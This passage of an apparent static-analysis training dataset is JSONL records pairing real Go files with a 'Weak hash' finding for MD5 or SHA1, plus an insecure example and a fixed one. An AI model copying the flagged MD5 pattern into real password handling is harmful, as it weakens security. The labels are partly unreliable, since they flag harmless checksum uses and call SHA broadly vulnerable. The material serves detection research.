x509.ExtKeyUsageClientAuth {\n\t\t\t\tok = true\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\t\tif !ok {\n\t\t\tc.sendAlert(alertHandshakeFailure)\n\t\t\treturn nil, errors.New(\"tls: client's certificate's extended key usage doesn't permit it to be used for client authentication\")\n\t\t}\n\n\t\tc.verifiedChains = chains\n\t}\n\n\tif len(certs) > 0 {\n\t\tvar pub crypto.PublicKey\n\t\tswitch key := certs[0].PublicKey.(type) {\n\t\tcase *ecdsa.PublicKey, *rsa.PublicKey:\n\t\t\tpub = key\n\t\tdefault:\n\t\t\tc.sendAlert(alertUnsupportedCertificate)\n\t\t\treturn nil, fmt.Errorf(\"tls: client's certificate contains an unsupported public key of type %T\", certs[0].PublicKey)\n\t\t}\n\t\tc.peerCertificates = certs\n\t\treturn pub, nil\n\t}\n\n\treturn nil, nil\n}\n\n// tryCipherSuite returns a cipherSuite with the given id if that cipher suite\n// is acceptable to use.\nfunc (c *Conn) tryCipherSuite(id uint16, supportedCipherSuites []uint16, version uint16,\n\tellipticOk, ecdsaOk, chachaOk bool, useRC4 uint8) (*cipherSuite, int) {\n\tfor i, supported := range supportedCipherSuites {\n\t\tif id == supported {\n\t\t\tvar candidate *cipherSuite\n\n\t\t\tfor _, s := range cipherSuites {\n\t\t\t\tif s.id == id {\n\t\t\t\t\tcandidate = s\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t}\n\t\t\tif candidate == nil {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\t// Don't select a ciphersuite which we can't\n\t\t\t// support for this client.\n\t\t\tif (candidate.flags&suiteECDHE != 0) && !ellipticOk {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tif (candidate.flags&suiteECDSA != 0) != ecdsaOk {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tif version < VersionTLS12 && candidate.flags&suiteTLS12 != 0 {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tif candidate.flags&suiteChacha20 != 0 && !chachaOk {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tif candidate.flags&suiteRC4 != 0 && useRC4 == disableRC4 {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tif candidate.flags&suiteRC4 == 0 && useRC4 == onlyRC4 {\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\treturn candidate, i\n\t\t}\n\t}\n\n\treturn nil, 0\n}\n\nfunc IsEcdheCipherSuite(suite interface{}) bool {\n\tif s, ok := suite.(*cipherSuite); ok {\n\t\treturn (s.flags & suiteECDHE) != 0\n\t}\n\treturn false\n}", "dangerousExampleEn": "1. import \"crypto/md5\"\n2. \n3. func Dan_Crypto(c *gin.Context) {\n4. \tinput := c.PostForm(\"content\")\n5. \thash := md5.New()\n6. \thash.Write([]byte(input))\n7. \th := hash.Sum(nil)\n8. \tc.String(http.StatusOK, hex.EncodeToString(h))\n9. }\nLine 1: This is insecure because a vulnerable hash, md5, is used.", "safeExampleEn": "1. import \"golang.org/x/crypto/blake2b\"\n2. \n3. func Safe_Crypto(c *gin.Context) {\n4. \tdata := []byte(c.PostForm(\"content\"))\n5. \thash, err := blake2b.New256(nil)\n6. \thash.Write(data)\n7. \thashed := hash.Sum(nil)\n8. \tc.String(http.StatusOK, hex.EncodeToString(hashed))\n9. }\nLine 1: This is secure because a secure hash, black2b, is used.", "contexts": [{"lineNo": 24, "eventType": "sink", "messageKey": "gochk.WEAK_CRYPTOGRAPHIC_HASH.GO.defect", "params": {}}]}} {"id": "fda4b60933105d1260d2cd4d03a626909c1474296551d9815d115254cd6ed1a8", "license": {"spdx": ["MIT"], "repo": "NateZh/commonlib", "path": "EncodeUtils.go", "repo_head_hexsha": "0c1ca95facbdcb00ca2873b2a663034856f93ec6", "stack_hexsha": "bc5c0f5f14371c0433b1e3809ea8f996952f03f6", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Weak hash", "issueDescriptionEn": "A hash function is a one-way function that generates fixed length of output by mapping random data. It is commonly used to store user passwords because it always produces the same output for the given input. The hash functions, such as MD5 and SHA, may give the illusion of high performance as they calculate hash very quickly, but they are vulnerable to random brute-force attacks. Furthermore, using a hash function for simple data is dangerous because it can be stored and shared in the rainbow table.\nThere are many functions that are enabled to overcome the shortcomings of MD5 and SHA. In Go, these can be easily replaced by enabling relatively newer algorithms such as Blake2, Argon2, PBKDF2, or Scrypt.", "issueLineNumber": 4, "entireCode": "package commonlib\n\nimport (\n\t\"crypto/md5\"\n\t\"encoding/hex\"\n\t\"net/url\"\n\t\"strconv\"\n\t\"strings\"\n)\n\nfunc UnicodeEnCode(code string) string {\n\trs := []rune(code)\n\tjson := \"\"\n\thtml := \"\"\n\tfor _, r := range rs {\n\t\trint := int(r)\n\t\tif rint < 128 {\n\t\t\tjson += string(r)\n\t\t\thtml += string(r)\n\t\t} else {\n\t\t\tjson += \"\\\\u\" + strconv.FormatInt(int64(rint), 16) // json\n\t\t\thtml += \"&#\" + strconv.Itoa(int(r)) + \";\" // 网页\n\t\t}\n\t}\n\treturn json\n}\n\nfunc UrlEncode(s string) string {\n\ts1 := url.QueryEscape(s)\n\treturn strings.Replace(s1, \"+\", \"%20\", -1)\n}\n\nfunc UrlDecode(s string) string {\n\tsliceNew := []string{}\n\tfor i := 0; i < len(s); i++ {\n\t\tif s[i] == '%' {\n\t\t\ti++\n\t\t\t//得到每俩个16进制数(一字节)\n\t\t\ts := Substr(s, i, 2)\n\t\t\tj, _ := strconv.ParseInt(s, 16, 0)\n\t\t\tsliceNew = append(sliceNew, string(j))\n\t\t\ti++\n\t\t} else {\n\t\t\tsliceNew = append(sliceNew, Substr(s, i, 1))\n\t\t}\n\t}\n\treturn strings.Join(sliceNew, \"\")\n}\n\n//生成32位md5字串\nfunc GetMd5String(s string) string {\n\th := md5.New()\n\th.Write([]byte(s))\n\treturn hex.EncodeToString(h.Sum(nil))\n}", "dangerousExampleEn": "1. import \"crypto/md5\"\n2. \n3. func Dan_Crypto(c *gin.Context) {\n4. \tinput := c.PostForm(\"content\")\n5. \thash := md5.New()\n6. \thash.Write([]byte(input))\n7. \th := hash.Sum(nil)\n8. \tc.String(http.StatusOK, hex.EncodeToString(h))\n9. }\nLine 1: This is insecure because a vulnerable hash, md5, is used.", "safeExampleEn": "1. import \"golang.org/x/crypto/blake2b\"\n2. \n3. func Safe_Crypto(c *gin.Context) {\n4. \tdata := []byte(c.PostForm(\"content\"))\n5. \thash, err := blake2b.New256(nil)\n6. \thash.Write(data)\n7. \thashed := hash.Sum(nil)\n8. \tc.String(http.StatusOK, hex.EncodeToString(hashed))\n9. }\nLine 1: This is secure because a secure hash, black2b, is used.", "contexts": [{"lineNo": 4, "eventType": "sink", "messageKey": "gochk.WEAK_CRYPTOGRAPHIC_HASH.GO.defect", "params": {}}]}} {"id": "09a4ab9e0cb5b96387262006aff7253874b512a2b0204c3f1e2556e05b493201", "license": {"spdx": ["MIT"], "repo": "spark8899/deplay_agent", "path": "pkg/util/md5.go", "repo_head_hexsha": "6605c94ce75d297fb50d679b0149d01227c55fb1", "stack_hexsha": "dc2755bc21879cf6c34c671ebbabf67bc9dff9d3", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Weak hash", "issueDescriptionEn": "A hash function is a one-way function that generates fixed length of output by mapping random data. It is commonly used to store user passwords because it always produces the same output for the given input. The hash functions, such as MD5 and SHA, may give the illusion of high performance as they calculate hash very quickly, but they are vulnerable to random brute-force attacks. Furthermore, using a hash function for simple data is dangerous because it can be stored and shared in the rainbow table.\nThere are many functions that are enabled to overcome the shortcomings of MD5 and SHA. In Go, these can be easily replaced by enabling relatively newer algorithms such as Blake2, Argon2, PBKDF2, or Scrypt.", "issueLineNumber": 7, "entireCode": "package util\n\nimport (\n \"os\"\n \"io\"\n \"bufio\"\n \"crypto/md5\"\n \"encoding/hex\"\n)\n\nfunc EncodeMD5(value string) string {\n m := md5.New()\n m.Write([]byte(value))\n\n return hex.EncodeToString(m.Sum(nil))\n}\n\nfunc FileMD5(file string) string {\n f, err := os.Open(file)\n if err != nil {\n return \"\"\n }\n defer f.Close()\n r := bufio.NewReader(f)\n m := md5.New()\n\n _, err = io.Copy(m, r)\n if err != nil {\n return \"\"\n }\n\n return hex.EncodeToString(m.Sum(nil))\n}", "dangerousExampleEn": "1. import \"crypto/md5\"\n2. \n3. func Dan_Crypto(c *gin.Context) {\n4. \tinput := c.PostForm(\"content\")\n5. \thash := md5.New()\n6. \thash.Write([]byte(input))\n7. \th := hash.Sum(nil)\n8. \tc.String(http.StatusOK, hex.EncodeToString(h))\n9. }\nLine 1: This is insecure because a vulnerable hash, md5, is used.", "safeExampleEn": "1. import \"golang.org/x/crypto/blake2b\"\n2. \n3. func Safe_Crypto(c *gin.Context) {\n4. \tdata := []byte(c.PostForm(\"content\"))\n5. \thash, err := blake2b.New256(nil)\n6. \thash.Write(data)\n7. \thashed := hash.Sum(nil)\n8. \tc.String(http.StatusOK, hex.EncodeToString(hashed))\n9. }\nLine 1: This is secure because a secure hash, black2b, is used.", "contexts": [{"lineNo": 7, "eventType": "sink", "messageKey": "gochk.WEAK_CRYPTOGRAPHIC_HASH.GO.defect", "params": {}}]}} {"id": "f47031b44fe1b31ea062c7447bfd003e2da81a51b6931b43eebf75107c347f35", "license": {"spdx": ["MIT"], "repo": "segator/mule-searcher-api", "path": "kad/misc_md5sum.go", "repo_head_hexsha": "cc1a4bebd0f8a512e12c90192a5e7e14d3b56c47", "stack_hexsha": "b0030a031f1ecdeda29972bdcb3a028b8923517a", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Weak hash", "issueDescriptionEn": "A hash function is a one-way function that generates fixed length of output by mapping random data. It is commonly used to store user passwords because it always produces the same output for the given input. The hash functions, such as MD5 and SHA, may give the illusion of high performance as they calculate hash very quickly, but they are vulnerable to random brute-force attacks. Furthermore, using a hash function for simple data is dangerous because it can be stored and shared in the rainbow table.\nThere are many functions that are enabled to overcome the shortcomings of MD5 and SHA. In Go, these can be easily replaced by enabling relatively newer algorithms such as Blake2, Argon2, PBKDF2, or Scrypt.", "issueLineNumber": 4, "entireCode": "package kad\n\nimport (\n\t\"crypto/md5\"\n)\n\n// Md5Sum x\ntype Md5Sum struct {\n\trawHash []byte\n}\n\nfunc (m *Md5Sum) calculate(data []byte) {\n\tctx := md5.New()\n\tctx.Write(data)\n\tm.rawHash = ctx.Sum(nil)\n}\n\nfunc (m *Md5Sum) getRawHash() []byte {\n\treturn m.rawHash\n}", "dangerousExampleEn": "1. import \"crypto/md5\"\n2. \n3. func Dan_Crypto(c *gin.Context) {\n4. \tinput := c.PostForm(\"content\")\n5. \thash := md5.New()\n6. \thash.Write([]byte(input))\n7. \th := hash.Sum(nil)\n8. \tc.String(http.StatusOK, hex.EncodeToString(h))\n9. }\nLine 1: This is insecure because a vulnerable hash, md5, is used.", "safeExampleEn": "1. import \"golang.org/x/crypto/blake2b\"\n2. \n3. func Safe_Crypto(c *gin.Context) {\n4. \tdata := []byte(c.PostForm(\"content\"))\n5. \thash, err := blake2b.New256(nil)\n6. \thash.Write(data)\n7. \thashed := hash.Sum(nil)\n8. \tc.String(http.StatusOK, hex.EncodeToString(hashed))\n9. }\nLine 1: This is secure because a secure hash, black2b, is used.", "contexts": [{"lineNo": 4, "eventType": "sink", "messageKey": "gochk.WEAK_CRYPTOGRAPHIC_HASH.GO.defect", "params": {}}]}} {"id": "cb1e9fb339b2c583d7b4903d2ac4e2e7e43ddf5379563abf100e8025afe65614", "license": {"spdx": ["MIT"], "repo": "gymshark/go-orocrm-wsse", "path": "wsse_test.go", "repo_head_hexsha": "9c99cd600f3e0b9937e9e75566c94ecf1b5f7791", "stack_hexsha": "4546e07a9cf2ac5c1eda3f8963cff1ba046dbd4f", "match": "repo_path"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Weak hash", "issueDescriptionEn": "A hash function is a one-way function that generates fixed length of output by mapping random data. It is commonly used to store user passwords because it always produces the same output for the given input. The hash functions, such as MD5 and SHA, may give the illusion of high performance as they calculate hash very quickly, but they are vulnerable to random brute-force attacks. Furthermore, using a hash function for simple data is dangerous because it can be stored and shared in the rainbow table.\nThere are many functions that are enabled to overcome the shortcomings of MD5 and SHA. In Go, these can be easily replaced by enabling relatively newer algorithms such as Blake2, Argon2, PBKDF2, or Scrypt.", "issueLineNumber": 4, "entireCode": "package wsse\n\nimport (\n\t\"crypto/sha1\"\n\t\"encoding/base64\"\n\t\"net/http\"\n\t\"net/http/httptest\"\n\t\"regexp\"\n\t\"strings\"\n\t\"testing\"\n\t\"time\"\n\n\t\"github.com/stretchr/testify/assert\"\n)\n\n// http.Header{\"X-Wsse\":[]string{\"UsernameToken Username=\\\"user\\\", PasswordDigest=\\\"=\\\", Nonce=\\\"OIKJlY0HGDY4uuW0\\\", Created=\\\"2014-12-01T12:38:55Z\\\"\"}}\n\nvar (\n\trxSplitHeader = regexp.MustCompile(`\\s*,\\s*`)\n\trxKeyValue = regexp.MustCompile(`^(\\w+)=\"(.+)\"$`)\n)\n\nfunc TestRoundTrip(t *testing.T) {\n\thandler := func(w http.ResponseWriter, r *http.Request) {\n\t\tassert.Equal(t, `WSSE profile=\"UsernameToken\"`, r.Header.Get(\"Authorization\"))\n\n\t\twsseHeader := r.Header.Get(\"X-WSSE\")\n\t\tassert.NotEmpty(t, wsseHeader)\n\t\tassert.True(t, strings.HasPrefix(wsseHeader, \"UsernameToken \"))\n\n\t\tkv := map[string]string{}\n\n\t\twsseHeader = strings.TrimPrefix(wsseHeader, \"UsernameToken \")\n\t\tparts := rxSplitHeader.Split(wsseHeader, -1)\n\t\tfor _, part := range parts {\n\t\t\tm := rxKeyValue.FindStringSubmatch(part)\n\t\t\tif m != nil {\n\t\t\t\tkv[m[1]] = m[2]\n\t\t\t}\n\t\t}\n\n\t\tassert.Equal(t, kv[\"Username\"], \"user\")\n\n\t\tnonceBytes, err := base64.StdEncoding.DecodeString(kv[\"Nonce\"])\n\t\tassert.NoError(t, err)\n\n\t\tdigest := sha1.New()\n\t\tdigest.Write(nonceBytes)\n\t\tdigest.Write([]byte(kv[\"Created\"]))\n\t\tdigest.Write([]byte(\"pass\"))\n\n\t\tassert.Equal(t, kv[\"PasswordDigest\"], base64.StdEncoding.EncodeToString(digest.Sum(nil)))\n\n\t\tw.Write([]byte{})\n\t}\n\n\tts := httptest.NewServer(http.HandlerFunc(handler))\n\tdefer ts.Close()\n\n\tclient := http.Client{\n\t\tTransport: NewTransport(\"user\", \"pass\"),\n\t}\n\t_, err := client.Get(ts.URL)\n\n\tassert.NoError(t, err)\n}\n\nfunc TestNewTransport(t *testing.T) {\n\ttrans := NewTransport(\"user\", \"pass\")\n\tassert.Equal(t, \"user\", trans.Username)\n\tassert.Equal(t, \"pass\", trans.Password)\n}\n\ntype testRT struct{}\n\nfunc (t *testRT) RoundTrip(*http.Request) (*http.Response, error) {\n\treturn nil, nil\n}\n\nfunc TestTransport(t *testing.T) {\n\ttrans2 := NewTransport(\"user\", \"pass\")\n\tttRT := &testRT{}\n\ttrans2.Transport = ttRT\n\ttrans2.transport()\n\tassert.Equal(t, ttRT, trans2.Transport)\n}\n\nfunc TestCreatePasswordDigest(t *testing.T) {\n\tdigest := createPasswordDigest(\n\t\t\"\",\n\t\t\"2014-12-01T03:39:38Z\",\n\t\t\"pass\",\n\t)\n\tbase64Digest := base64.StdEncoding.EncodeToString(digest)\n\tassert.Equal(t, base64Digest, \"8OjkyL8RK7/vse443STJVoOc7hw=\")\n}\n\nfunc TestCreateNonce(t *testing.T) {\n\tn1, err1 := createNonce()\n\tn2, err2 := createNonce()\n\tassert.NoError(t, err1)\n\tassert.NoError(t, err2)\n\tassert.NotEqual(t, n1, n2)\n}\n\nfunc TestCreateCreatedDate(t *testing.T) {\n\tassert.Equal(t, \"2001-09-22 11:01:33 +0000 UTC\", time.Date(2001, 9, 22, 11, 1, 33, 0, time.UTC).String())\n}", "dangerousExampleEn": "1. import \"crypto/md5\"\n2. \n3. func Dan_Crypto(c *gin.Context) {\n4. \tinput := c.PostForm(\"content\")\n5. \thash := md5.New()\n6. \thash.Write([]byte(input))\n7. \th := hash.Sum(nil)\n8. \tc.String(http.StatusOK, hex.EncodeToString(h))\n9. }\nLine 1: This is insecure because a vulnerable hash, md5, is used.", "safeExampleEn": "1. import \"golang.org/x/crypto/blake2b\"\n2. \n3. func Safe_Crypto(c *gin.Context) {\n4. \tdata := []byte(c.PostForm(\"content\"))\n5. \thash, err := blake2b.New256(nil)\n6. \thash.Write(data)\n7. \thashed := hash.Sum(nil)\n8. \tc.String(http.StatusOK, hex.EncodeToString(hashed))\n9. }\nLine 1: This is secure because a secure hash, black2b, is used.", "contexts": [{"lineNo": 4, "eventType": "sink", "messageKey": "gochk.WEAK_CRYPTOGRAPHIC_HASH.GO.defect", "params": {}}]}} {"id": "47f5af1ef9dc1018be90c9df18a268cfd0df0d3abe9d958e3b94097b2aef62c6", "license": {"spdx": ["MIT"], "repo": "imulab-x/drone-webhook-proxy", "path": "proxy/server.go", "repo_head_hexsha": "c24130681b40335bef8f4528fd47183a09aabab9", "stack_hexsha": "b876c271fed488829e3b63d8425b68c86cc9d830", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Weak hash", "issueDescriptionEn": "A hash function is a one-way function that generates fixed length of output by mapping random data. It is commonly used to store user passwords because it always produces the same output for the given input. The hash functions, such as MD5 and SHA, may give the illusion of high performance as they calculate hash very quickly, but they are vulnerable to random brute-force attacks. Furthermore, using a hash function for simple data is dangerous because it can be stored and shared in the rainbow table.\nThere are many functions that are enabled to overcome the shortcomings of MD5 and SHA. In Go, these can be easily replaced by enabling relatively newer algorithms such as Blake2, Argon2, PBKDF2, or Scrypt.", "issueLineNumber": 4, "entireCode": "package proxy\n\nimport (\n\t\"crypto/sha1\"\n\t\"encoding/json\"\n\t\"fmt\"\n\t\"github.com/go-redis/redis\"\n\t\"github.com/sirupsen/logrus\"\n\t\"io/ioutil\"\n\t\"net/http\"\n\t\"sync\"\n)\n\nconst eventsKey = \"events\"\n\ntype server struct {\n\tredis *redis.Client\n\tpushLock *sync.Mutex\n\tpopLock *sync.Mutex\n\tmaxItems int64\n}\n\nfunc (s *server) startServer(port int) error {\n\thttp.HandleFunc(\"/push\", func(w http.ResponseWriter, r *http.Request) {\n\t\ts.offerWebHookEvent(r)\n\t\tw.WriteHeader(204)\n\t})\n\n\thttp.HandleFunc(\"/pop\", func(w http.ResponseWriter, r *http.Request) {\n\t\tw.Header().Set(\"Content-Type\", \"application/json\")\n\t\tevent, err := s.pollWebHookEvent(r)\n\n\t\tif len(event) == 0 {\n\t\t\tw.WriteHeader(204)\n\t\t} else if err != nil {\n\t\t\tw.WriteHeader(500)\n\t\t\tjson.NewEncoder(w).Encode(map[string]string {\n\t\t\t\t\"error\": err.Error(),\n\t\t\t})\n\t\t} else {\n\t\t\thash := sha1.Sum([]byte(event))\n\t\t\tw.WriteHeader(200)\n\t\t\tw.Header().Set(\"X-DRONE-WEBHOOK-SHA1\", fmt.Sprintf(\"%x\", hash))\n\t\t\tw.Write([]byte(event))\n\t\t}\n\t})\n\n\terr := http.ListenAndServe(fmt.Sprintf(\":%d\", port), nil)\n\tlogrus.Infof(\"Listening for traffic on port %d.\", port)\n\treturn err\n}\n\nfunc (s *server) pollWebHookEvent(r *http.Request) (string, error) {\n\treportError := func(msg string) {\n\t\tlogrus.Errorf(\"Error dumping web hook events. %s\", msg)\n\t}\n\n\ts.popLock.Lock()\n\tdefer s.popLock.Unlock()\n\n\tevent, err := s.redis.RPop(eventsKey).Result()\n\tif err != nil {\n\t\tif err == redis.Nil {\n\t\t\tlogrus.Debug(\"No event.\")\n\t\t\treturn \"\", nil\n\t\t}\n\n\t\treportError(err.Error())\n\t\treturn \"\", err\n\t}\n\n\tif len(event) > 0 {\n\t\tlogrus.Info(\"Polled one event.\")\n\t} else {\n\t\tlogrus.Debug(\"No event available.\")\n\t}\n\n\treturn event, nil\n}\n\nfunc(s *server) offerWebHookEvent(r *http.Request) {\n\treportError := func(msg string) {\n\t\tlogrus.Errorf(\"Error processing %s traffic from %s. %s\", r.Method, r.Host, msg)\n\t}\n\n\tlogrus.Infof(\"Receiving %s traffic from %s.\\n\", r.Method, r.Host)\n\n\tbody, err := ioutil.ReadAll(r.Body)\n\tif err != nil {\n\t\treportError(err.Error())\n\t\treturn\n\t}\n\n\teventBytes, err := json.Marshal(&Event{\n\t\tMethod: \tr.Method,\n\t\tHeaders: \tr.Header,\n\t\tBody:\t\tstring(body),\n\t})\n\tif err != nil {\n\t\treportError(err.Error())\n\t\treturn\n\t}\n\n\ts.pushLock.Lock()\n\tdefer s.pushLock.Unlock()\n\n\tif _, err = s.redis.LPush(eventsKey, string(eventBytes)).Result(); err != nil {\n\t\treportError(err.Error())\n\t\treturn\n\t}\n\n\tlogrus.Infof(\"Saved events from %s\", r.Host)\n\n\tif itemsNum, err := s.redis.LLen(eventsKey).Result(); err != nil {\n\t\treportError(err.Error())\n\t\treturn\n\t} else if s.maxItems > 0 && itemsNum >= s.maxItems {\n\t\ts.redis.RPop(eventsKey)\n\t}\n}\n\ntype Event struct {\n\tMethod\t\tstring\t\t\t\t\t`json:\"0\"`\n\tHeaders\t\tmap[string][]string\t\t`json:\"1\"`\n\tBody\t\tstring\t\t\t\t\t`json:\"2\"`\n}", "dangerousExampleEn": "1. import \"crypto/md5\"\n2. \n3. func Dan_Crypto(c *gin.Context) {\n4. \tinput := c.PostForm(\"content\")\n5. \thash := md5.New()\n6. \thash.Write([]byte(input))\n7. \th := hash.Sum(nil)\n8. \tc.String(http.StatusOK, hex.EncodeToString(h))\n9. }\nLine 1: This is insecure because a vulnerable hash, md5, is used.", "safeExampleEn": "1. import \"golang.org/x/crypto/blake2b\"\n2. \n3. func Safe_Crypto(c *gin.Context) {\n4. \tdata := []byte(c.PostForm(\"content\"))\n5. \thash, err := blake2b.New256(nil)\n6. \thash.Write(data)\n7. \thashed := hash.Sum(nil)\n8. \tc.String(http.StatusOK, hex.EncodeToString(hashed))\n9. }\nLine 1: This is secure because a secure hash, black2b, is used.", "contexts": [{"lineNo": 4, "eventType": "sink", "messageKey": "gochk.WEAK_CRYPTOGRAPHIC_HASH.GO.defect", "params": {}}]}} {"id": "aac7cf2926ffe542df25e35a01f98d884fef177afb6a80355b2b32e475300d1f", "license": {"spdx": ["Apache-2.0"], "repo": "moschlar/mattermost-plugin-bigbluebutton", "path": "server/bigbluebuttonapiwrapper/helpers/helpers.go", "repo_head_hexsha": "af059f4de7bb1eb2fd9d41207ef55e4ea101ef7b", "stack_hexsha": "cb961ccc18b76ef20af915dd8e6597f3495e6b43", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Weak hash", "issueDescriptionEn": "A hash function is a one-way function that generates fixed length of output by mapping random data. It is commonly used to store user passwords because it always produces the same output for the given input. The hash functions, such as MD5 and SHA, may give the illusion of high performance as they calculate hash very quickly, but they are vulnerable to random brute-force attacks. Furthermore, using a hash function for simple data is dangerous because it can be stored and shared in the rainbow table.\nThere are many functions that are enabled to overcome the shortcomings of MD5 and SHA. In Go, these can be easily replaced by enabling relatively newer algorithms such as Blake2, Argon2, PBKDF2, or Scrypt.", "issueLineNumber": 20, "entireCode": "/*\nCopyright 2018 Blindside Networks\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage helpers\n\nimport (\n\t\"crypto/sha1\"\n\t\"encoding/hex\"\n\t\"encoding/xml\"\n\t\"github.com/blindsidenetworks/mattermost-plugin-bigbluebutton/server/mattermost\"\n\t\"io/ioutil\"\n\t\"net/http\"\n)\n\nvar PluginVersion string\n\n//sends a get request to the url given, returns the result as a string\nfunc HttpGet(url string) (string, error) {\n\tclient := http.Client{}\n\treq, err := http.NewRequest(http.MethodGet, url, nil)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\treq.Header.Set(\"User-Agent\", \"bbb-mm-\"+PluginVersion)\n\n\tresponse, err := client.Do(req)\n\tif err != nil {\n\t\tmattermost.API.LogError(\"HTTP GET ERROR: \" + err.Error())\n\t\treturn \"\", err\n\t}\n\n\tdefer response.Body.Close()\n\n\tbody, err := ioutil.ReadAll(response.Body)\n\tif nil != err {\n\t\tmattermost.API.LogError(\"HTTP GET ERROR: \" + err.Error())\n\t\treturn \"\", err\n\t}\n\n\treturn string(body), nil\n}\n\nfunc GetChecksum(toConvert string) string {\n\ttoByte := []byte(toConvert)\n\tcheckSumString := sha1.Sum(toByte)\n\n\treturn hex.EncodeToString(checkSumString[:])\n}\n\nfunc ReadXML(response string, data interface{}) error {\n\terr := xml.Unmarshal([]byte(response), data)\n\tif nil != err {\n\t\tmattermost.API.LogError(\"XML PARSE ERROR: \" + err.Error())\n\t}\n\treturn err\n}", "dangerousExampleEn": "1. import \"crypto/md5\"\n2. \n3. func Dan_Crypto(c *gin.Context) {\n4. \tinput := c.PostForm(\"content\")\n5. \thash := md5.New()\n6. \thash.Write([]byte(input))\n7. \th := hash.Sum(nil)\n8. \tc.String(http.StatusOK, hex.EncodeToString(h))\n9. }\nLine 1: This is insecure because a vulnerable hash, md5, is used.", "safeExampleEn": "1. import \"golang.org/x/crypto/blake2b\"\n2. \n3. func Safe_Crypto(c *gin.Context) {\n4. \tdata := []byte(c.PostForm(\"content\"))\n5. \thash, err := blake2b.New256(nil)\n6. \thash.Write(data)\n7. \thashed := hash.Sum(nil)\n8. \tc.String(http.StatusOK, hex.EncodeToString(hashed))\n9. }\nLine 1: This is secure because a secure hash, black2b, is used.", "contexts": [{"lineNo": 20, "eventType": "sink", "messageKey": "gochk.WEAK_CRYPTOGRAPHIC_HASH.GO.defect", "params": {}}]}} {"id": "c36f7346e698a389e79b0ff0fbac95554d97eaa51f8b8fde276a8bda0ec6b28b", "license": {"spdx": ["BSD-3-Clause"], "repo": "ms140569/loki", "path": "crypto/md5.go", "repo_head_hexsha": "60591b3a2d67d739e7860930efed090afb807f6f", "stack_hexsha": "5291b39b55f1aca7efd6feb478894d6fc0870f41", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Weak hash", "issueDescriptionEn": "A hash function is a one-way function that generates fixed length of output by mapping random data. It is commonly used to store user passwords because it always produces the same output for the given input. The hash functions, such as MD5 and SHA, may give the illusion of high performance as they calculate hash very quickly, but they are vulnerable to random brute-force attacks. Furthermore, using a hash function for simple data is dangerous because it can be stored and shared in the rainbow table.\nThere are many functions that are enabled to overcome the shortcomings of MD5 and SHA. In Go, these can be easily replaced by enabling relatively newer algorithms such as Blake2, Argon2, PBKDF2, or Scrypt.", "issueLineNumber": 5, "entireCode": "package crypto\n\nimport (\n\t\"bytes\"\n\t\"crypto/md5\"\n)\n\n// GetStringMD5 returns the md5 checksum of the given string as byte-array.\nfunc GetStringMD5(payload string) []byte {\n\treturn ComputeMD5checksum([]byte(payload))\n}\n\n// ComputeMD5checksum computes the md5 checksum for the given byte-array. Returns a byte-array.\nfunc ComputeMD5checksum(payload []byte) []byte {\n\tcomputedMD5 := md5.Sum(payload)\n\treturn computedMD5[0:]\n}\n\n// VerifyMD5 verifies that the md5 checksum of the data given in the payload parameter matches the one\n// provided in the givenMD5 param.\nfunc VerifyMD5(payload []byte, givenMD5 []byte) bool {\n\treturn bytes.Equal(ComputeMD5checksum(payload), givenMD5)\n}", "dangerousExampleEn": "1. import \"crypto/md5\"\n2. \n3. func Dan_Crypto(c *gin.Context) {\n4. \tinput := c.PostForm(\"content\")\n5. \thash := md5.New()\n6. \thash.Write([]byte(input))\n7. \th := hash.Sum(nil)\n8. \tc.String(http.StatusOK, hex.EncodeToString(h))\n9. }\nLine 1: This is insecure because a vulnerable hash, md5, is used.", "safeExampleEn": "1. import \"golang.org/x/crypto/blake2b\"\n2. \n3. func Safe_Crypto(c *gin.Context) {\n4. \tdata := []byte(c.PostForm(\"content\"))\n5. \thash, err := blake2b.New256(nil)\n6. \thash.Write(data)\n7. \thashed := hash.Sum(nil)\n8. \tc.String(http.StatusOK, hex.EncodeToString(hashed))\n9. }\nLine 1: This is secure because a secure hash, black2b, is used.", "contexts": [{"lineNo": 5, "eventType": "sink", "messageKey": "gochk.WEAK_CRYPTOGRAPHIC_HASH.GO.defect", "params": {}}]}} {"id": "a785a891d46614d30095030fa9ff260273d36b1c72362902a1ad5ce93900c855", "license": {"spdx": ["MIT"], "repo": "rbrick/urls", "path": "storage/storage.go", "repo_head_hexsha": "73c33ba629206ed66fd642bcc241e5110655b3df", "stack_hexsha": "5b3096ce6fd9e1c22c2382f40a105bd00e9349d9", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Weak hash", "issueDescriptionEn": "A hash function is a one-way function that generates fixed length of output by mapping random data. It is commonly used to store user passwords because it always produces the same output for the given input. The hash functions, such as MD5 and SHA, may give the illusion of high performance as they calculate hash very quickly, but they are vulnerable to random brute-force attacks. Furthermore, using a hash function for simple data is dangerous because it can be stored and shared in the rainbow table.\nThere are many functions that are enabled to overcome the shortcomings of MD5 and SHA. In Go, these can be easily replaced by enabling relatively newer algorithms such as Blake2, Argon2, PBKDF2, or 